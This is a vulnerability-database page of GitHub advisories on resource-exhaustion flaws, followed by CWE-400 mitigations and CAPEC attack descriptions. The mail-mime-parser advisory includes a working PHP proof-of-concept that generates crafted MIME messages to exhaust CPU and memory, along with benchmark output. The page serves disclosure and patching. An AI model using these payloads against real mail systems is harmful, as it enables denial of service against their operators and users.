  "details": "A vulnerability has been identified in SIMATIC CP 1604 (All versions), SIMATIC CP 1616 (All versions), SIMATIC CP 1623 (All versions), SIMATIC CP 1626 (All versions), SIMATIC CP 1628 (All versions). Affected devices insufficiently control continuous mapping of direct memory access (DMA) requests. This could allow local attackers with administrative privileges to cause a denial of service situation on the host. A physical power cycle is required to get the system working again.",
  "id": "GHSA-f6m2-pj42-r7g3",
  "modified": "2024-04-04T08:27:54Z",
  "published": "2023-10-10T12:32:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37195"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-784849.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F6V3-2QMR-VFJX

Vulnerability from github – Published: 2026-09-24 19:45 – Updated: 2026-09-24 19:45
VLAI
Summary
zbateson/mail-mime-parser has uncontrolled resource consumption (CPU/memory DoS) parsing untrusted MIME
Details

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

  1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
  2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
  3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

  • Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "zbateson/mail-mime-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "zbateson/mail-mime-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61816"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-24T19:45:05Z",
    "nvd_published_at": "2026-09-24T18:17:17Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nAn uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.\n\nThree independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does **not** bound the work done.  A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first `getAllParts()` or content read.\n\n### Details\n\n1. **Deep multipart nesting is O(depth\u00b2).** `MimeParserService::findContentBoundary()` tests each content line against the current part and every ancestor via the recursive `ParserMimePartProxy::setEndBoundaryFound()`, so a nesting depth of D costs 1 + 2 + \u2026 + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.\n2. **Many sibling parts is O(n\u00b2).** `PartChildrenContainer::add()` appends each child with `array_splice($children, count($children), 0, [$part])`, which reindexes the entire array on every call. The same container backs UUEncoded `begin` parts via `NonMimeParserService`.\n3. **Header buffering is unbounded.** `HeaderParserService::parse()` reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.\n\n### Proof of concept\n\n```php\ncomposer require zbateson/mail-mime-parser\n\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\nuse ZBateson\\MailMimeParser\\MailMimeParser;\n\nfunction nestedMessage(int $depth): string {\n    $head = \u0027\u0027; $tail = \u0027\u0027;\n    for ($i = 0; $i \u003c $depth; $i++) {\n        $head .= \"Content-Type: multipart/mixed; boundary=b$i\\r\\n\\r\\n--b$i\\r\\n\";\n    }   \n    return $head . \"Content-Type: text/plain\\r\\n\\r\\nx\\r\\n\" . $tail;\n}\nfunction siblingMessage(int $n): string {\n    return \"Content-Type: multipart/mixed; boundary=b\\r\\n\\r\\n\"\n        . str_repeat(\"--b\\r\\nContent-Type: text/plain\\r\\n\\r\\nx\\r\\n\", $n) . \"--b--\\r\\n\";\n}\nfunction headerMessage(int $n): string {\n    return \"From: a@b\\r\\n\" . str_repeat(\"X-H: v\\r\\n\", $n) . \"\\r\\nbody\\r\\n\";\n}\nfunction measure(string $label, string $raw): void {\n    $t = microtime(true);\n    count((new MailMimeParser())-\u003eparse($raw, false)-\u003egetAllParts());\n    printf(\"%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\\n\",\n        $label, strlen($raw) / 1048576, microtime(true) - $t,\n        memory_get_peak_usage(true) / 1048576);\n}\n\nmeasure(\u0027nesting depth=2000\u0027, nestedMessage(2000));\nmeasure(\u0027siblings=50000\u0027,     siblingMessage(50000));\nmeasure(\u0027headers=300000\u0027,     headerMessage(300000));\n```\n\nRun with a raised memory limit so the header case does not abort early:\n\nphp -d memory_limit=2048M poc.php\n// nesting depth=2000   input= 0.13 MB  time=  2.08 s  peak=  30.0 MB\n// siblings=50000       input= 1.72 MB  time=  5.11 s  peak= 276.0 MB\n// headers=300000       input= 2.29 MB  time=  0.40 s  peak= 380.3 MB\n\n### Patches   \n\nFixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.\n\nVersions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)\n\n### Workarounds\n\nThese costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.\n\n\n- Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.",
  "id": "GHSA-f6v3-2qmr-vfjx",
  "modified": "2026-09-24T19:45:05Z",
  "published": "2026-09-24T19:45:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zbateson/mail-mime-parser/security/advisories/GHSA-f6v3-2qmr-vfjx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61816"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zbateson/mail-mime-parser/commit/1691e695821f70461f9554e9bb71be2859404a24"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zbateson/mail-mime-parser/commit/fa44823ba9dd651e0eecec7aa45ac8c8e6afcb78"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zbateson/mail-mime-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zbateson/mail-mime-parser/releases/tag/3.0.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zbateson/mail-mime-parser/releases/tag/4.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "zbateson/mail-mime-parser has uncontrolled resource consumption (CPU/memory DoS) parsing untrusted MIME"
}

GHSA-F6VJ-XX8J-FQMQ

Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03
VLAI
Details

A malicious container image can consume an unbounded amount of memory when being pulled to a container runtime host, such as Red Hat Enterprise Linux using podman, or OpenShift Container Platform. An attacker can use this flaw to trick a user, with privileges to pull container images, into crashing the process responsible for pulling the image. This flaw affects containers-image versions before 5.2.0.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-1702"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-27T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A malicious container image can consume an unbounded amount of memory when being pulled to a container runtime host, such as Red Hat Enterprise Linux using podman, or OpenShift Container Platform. An attacker can use this flaw to trick a user, with privileges to pull container images, into crashing the process responsible for pulling the image. This flaw affects containers-image versions before 5.2.0.",
  "id": "GHSA-f6vj-xx8j-fqmq",
  "modified": "2022-05-24T19:03:34Z",
  "published": "2022-05-24T19:03:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1702"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1792796"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F75Q-R8VF-45PJ

Vulnerability from github – Published: 2022-09-28 00:00 – Updated: 2025-05-21 18:33
VLAI
Details

On Realtek RTL8195AM devices before 284241d70308ff2519e40afd7b284ba892c730a3, the timer task can be locked when there are frequent and continuous Wi-Fi connection failures for the Soft AP mode.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-34326"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-27T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "On Realtek RTL8195AM devices before 284241d70308ff2519e40afd7b284ba892c730a3, the timer task can be locked when there are frequent and continuous Wi-Fi connection failures for the Soft AP mode.",
  "id": "GHSA-f75q-r8vf-45pj",
  "modified": "2025-05-21T18:33:03Z",
  "published": "2022-09-28T00:00:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34326"
    },
    {
      "type": "WEB",
      "url": "https://www.amebaiot.com/en/security_bulletin/cve-2022-34326"
    },
    {
      "type": "WEB",
      "url": "https://www.realtek.com/en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list